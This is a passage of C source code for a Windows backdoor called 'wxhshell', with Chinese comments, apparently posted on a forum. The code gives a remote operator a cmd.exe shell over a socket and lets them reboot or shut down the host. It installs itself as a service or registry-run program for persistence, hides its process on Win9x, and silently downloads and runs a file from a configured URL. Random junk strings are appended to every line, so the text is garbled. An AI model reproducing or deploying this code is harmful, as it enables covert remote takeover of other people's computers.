  else { $#8dtF  
?nCG:\&;'=  
    switch(cmd[0]) { mKQ !@$*  
  @9-z8PyF  
  // 帮助 9JpPas$]  
  case '?': { oaM $<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); AWc7TW  
    break; (%YFcE)SRS  
  } +r"{$'{^  
  // 安装 2 D>WIOX  
  case 'i': { 5ZSV)$t  
    if(Install()) E~3wdOZv1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1c8 J yp  
    else aI{Ehbf=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B{PI&a9~s%  
    break; {+F/lN@  
    }  bF0 y`  
  // 卸载 I>B-[QEC  
  case 'r': { P=OHiG\z  
    if(Uninstall()) Oca_1dlx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T;IaVMFG|d  
    else ]<V[H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MuQyHEDF  
    break; yIC8Rl  
    } z:{'IY  
  // 显示 wxhshell 所在路径 waz)jEk  
  case 'p': { Zui2O-L?V  
    char svExeFile[MAX_PATH]; w$MFCJ:p&  
    strcpy(svExeFile,"\n\r"); NTkGLD1e.  
      strcat(svExeFile,ExeFile); 4p\<b8(9>  
        send(wsh,svExeFile,strlen(svExeFile),0); *Fi`o_d9[`  
    break; /'ccFm2  
    } O KVIl  
  // 重启 7Ps I'1v  
  case 'b': { J\^ZRu_K  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <C`qJP-  
    if(Boot(REBOOT)) ~ODm?k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); * 7u~`  
    else { mtSOygd  
    closesocket(wsh); 3(0k!o0 "  
    ExitThread(0); $T.we+u  
    } ) jv]Oz  
    break; TPH`{  
    } ViIt 'WX  
  // 关机 $hZb<Xz  
  case 'd': { rJ|Q%utYz  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); DN3#W w2[r  
    if(Boot(SHUTDOWN)) BQu_)@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kclClB:PS  
    else { W ZdEfY{  
    closesocket(wsh); %5Hsd  
    ExitThread(0); \ 'G%%%;4  
    } N3nFE:`u]  
    break; mrX 2w  
    } Cgq/#2BM  
  // 获取shell C8 9c2  
  case 's': { /n;Ll](ri  
    CmdShell(wsh); :34]}`-  
    closesocket(wsh); `?r]OVe{y  
    ExitThread(0); S{' /=Px+  
    break; ErIAS6HS'  
  } |h$*z9bsf  
  // 退出 KE!aa&g  
  case 'x': { `@1y|j:m  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ARvT  
    CloseIt(wsh); [!H2i p-  
    break; Z M_ 6A1  
    } ywWF+kR_  
  // 离开 qKNX^n;  
  case 'q': { Y7(E<1Yx  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ChO?Lm$y  
    closesocket(wsh); mO<sw  
    WSACleanup(); wTb7 xBI  
    exit(1); Whp;wAz  
    break; B7BXS*_b  
        } s3@sX_2  
  } t>.1,'zb  
  } [!1z; /  
29]-s Utqv  
  // 提示信息 q/w<>u  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ja<pvb  
} tl9=u-D13@  
  } Mwp[?#1j  
y"q7Gx*^j  
  return; \9k$pC+l  
} j}$dYbf$  
WwG +Xa  
// shell模块句柄 jR-DH]@y  
int CmdShell(SOCKET sock) *qdf?' R  
{ jyQ Bx  
STARTUPINFO si; ?|!167/O  
ZeroMemory(&si,sizeof(si)); /^ *GoB  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3 d $  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _%^t[4)q  
PROCESS_INFORMATION ProcessInfo; Z)}q=NjA  
char cmdline[]="cmd"; 7oaa)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !_0kn6 S5  
  return 0; LoZ8;VU  
} mw0#Dhyy1=  
*: )hoHp&  
// 自身启动模式 94C)63V  
int StartFromService(void) bL*;6TzRK  
{ SxV(.i'  
typedef struct at7|r\`?-  
{ N'hj  
  DWORD ExitStatus; {g9?Eio^F^  
  DWORD PebBaseAddress; AdBF$nn[  
  DWORD AffinityMask; kw)@[1U  
  DWORD BasePriority; wXw pKm  
  ULONG UniqueProcessId; kB_uU !G  
  ULONG InheritedFromUniqueProcessId; ] =ar&1}J  
}   PROCESS_BASIC_INFORMATION; .C=&` ;Vs  
3&i8C,u]/O  
PROCNTQSIP NtQueryInformationProcess; kcT?<r  
\%\b* OO  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4 4%jz-m  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; k#"Pv"  
Ij; =  
  HANDLE             hProcess; V"":_`1VW  
  PROCESS_BASIC_INFORMATION pbi; [P#^nyOh(  
iw1((&^)"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  /;LteBoY  
  if(NULL == hInst ) return 0; ;-84cpfu  
pL`snVz  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); e  iS~*@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7s:`]V%  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }gi>Z  
!M:m(6E1  
  if (!NtQueryInformationProcess) return 0; #6{"c r6l  
il^SGH  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); E.W7`zl  
  if(!hProcess) return 0; tV2SX7N  
o?A/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5wXe^G  
t6 :;0[j  
  CloseHandle(hProcess); {m5tgVi&  
g*8LdH 6mq  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); n =v4m_e  
if(hProcess==NULL) return 0; it!i'lG  
!fdni}f)  
HMODULE hMod; {#M=gDhbX  
char procName[255]; qmUq9bV  
unsigned long cbNeeded; 9_IR%bm  
}D.?O,ue  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?#]K54?  
Yjz'lWg  
  CloseHandle(hProcess); @~6A9Fr  
5xW)nEV  
if(strstr(procName,"services")) return 1; // 以服务启动 N>i1TM2  
aM'0O![d  
  return 0; // 注册表启动 sQW$P9s c  
} &H\$O.?f  
[o&Vr\.$  
// 主模块 Db({k,P'Y  
int StartWxhshell(LPSTR lpCmdLine) GEP YSp  
{ 'N,3]Soi  
  SOCKET wsl; z79L2lJn  
BOOL val=TRUE; |7WzTz  
  int port=0; &|<~J (L;  
  struct sockaddr_in door; b><jhbv  
M"F?'zTkJ  
  if(wscfg.ws_autoins) Install(); #f]R:Ix>  
W.p->,N  
port=atoi(lpCmdLine); GV)#>PL  
e 1{t qNJ  
if(port<=0) port=wscfg.ws_port; bj` cYL%  
G}i\UXFE  
  WSADATA data; , 6\i  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >VP\@xt(R[  
#V-qS/ q"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9,5v%HZ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); g92M\5 x9  
  door.sin_family = AF_INET; wbI(o4rXE  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &:L8; m  
  door.sin_port = htons(port); {neE(0c  
9\TvX!)h  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { LXIlrZ9D5  
closesocket(wsl); XboOvdt^|  
return 1; !$h%$se  
} 18w[T=7)  
Zx25H"5j  
  if(listen(wsl,2) == INVALID_SOCKET) { Faa:h#  
closesocket(wsl); t&SJ!>7_c  
return 1; uR)itmc?  
} 'xZxX3  
  Wxhshell(wsl); Wf_aEW&n  
  WSACleanup(); ,: w~-   
[K13Jy+  
return 0; If6wkY6sR  
P>euUVMPz4  
} 9In&vF7$  
.^#{rk  
// 以NT服务方式启动 'N='B<^;%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) eFXxkWR)  
{ U._ U!U  
DWORD   status = 0; h0n0Dc{4  
  DWORD   specificError = 0xfffffff; k_V1x0sZ  
,Z_nV+l_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |NtT-T)7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8!>uC&bE8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [gzU / :  
  serviceStatus.dwWin32ExitCode     = 0; P?n!fA>!  
  serviceStatus.dwServiceSpecificExitCode = 0; ^'QcP5Fv  
  serviceStatus.dwCheckPoint       = 0; ~QBf78@Gf  
  serviceStatus.dwWaitHint       = 0; $';'MoS  
S,AZrgh,"X  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $$ _ uQf  
  if (hServiceStatusHandle==0) return; hl}#bZ8]  
KtEM H  
status = GetLastError(); /G[y 24 Q  
  if (status!=NO_ERROR) pRc(>P3;  
{ WbH/K]/1)h  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !::k\}DS  
    serviceStatus.dwCheckPoint       = 0; T<zonx1  
    serviceStatus.dwWaitHint       = 0; 7u5B/M!  
    serviceStatus.dwWin32ExitCode     = status; 9][Mw[k>  
    serviceStatus.dwServiceSpecificExitCode = specificError; c}Z,xop<P{  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); rA*,)I_v@  
    return; AG}' W  
  } ZM; EjS1  
[$[t.m  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ieBW 0eMi  
  serviceStatus.dwCheckPoint       = 0; >;xEzc!W3*  
  serviceStatus.dwWaitHint       = 0; rF~q"9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +*0THol-  
} |&n dQ(!l  
AaTtY d  
// 处理NT服务事件,比如:启动、停止 O-T/H-J`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) u.hnQsM  
{ =5Q;quKu^5  
switch(fdwControl) (!X:[Ah*$  
{ u6r-{[W}  
case SERVICE_CONTROL_STOP: fY%Sw7ql<  
  serviceStatus.dwWin32ExitCode = 0; NBMY1Xgj  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; p6=#LwL'  
  serviceStatus.dwCheckPoint   = 0; &KR@2~vE  
  serviceStatus.dwWaitHint     = 0; 3pDZ}{ZZU  
  { CQ,r*VAw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E=s`$ A  
  } iUI,r*  
  return; AU'{aC+p  
case SERVICE_CONTROL_PAUSE: K&|zWpb  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &<UOi@  
  break; I}:>M!w  
case SERVICE_CONTROL_CONTINUE: RB &s$6A  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _IlL'c5  
  break; (OG@]|-  
case SERVICE_CONTROL_INTERROGATE: /-|xxy  
  break; $ @1&G~x  
}; `SW`d<+L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); eHnC^W}|s  
} 82/iVm1  
+Z;0"'K'e  
// 标准应用程序主函数 +'#d*r91@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3^ Z tIZ  
{ tQ&#FFt,)  
uDoSe^0  
// 获取操作系统版本 fs)O7x-B(  
OsIsNt=GetOsVer(); 9(X *[X#  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  %;W8;  
m9e$ZZG$  
  // 从命令行安装 #='#`5_5  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9h0|^ttF  
tQl=  
  // 下载执行文件 q0c)pxD%`  
if(wscfg.ws_downexe) { i;dr(c/ft  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) X4/r#<Da  
  WinExec(wscfg.ws_filenam,SW_HIDE); {?L}qV  
} JK_$A;Q  
&P+cTN9)  
if(!OsIsNt) { 4P:vo$Cy  
// 如果时win9x,隐藏进程并且设置为注册表启动 Sr+1.77}  
HideProc(); =)I{KT:y  
StartWxhshell(lpCmdLine); O/-OW: 03  
} @K+u+} R  
else >XZq=q]E!  
  if(StartFromService()) 5N|77AAxK  
  // 以服务方式启动 ]B7t9l  
  StartServiceCtrlDispatcher(DispatchTable); F H%yyT  
else _%L3?PpF"  
  // 普通方式启动 X@D3  
  StartWxhshell(lpCmdLine);  E;|\?>  
5 + Jy  
return 0; Sv>aZ  
}
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只看该作者 1 发表于: 2006-10-10
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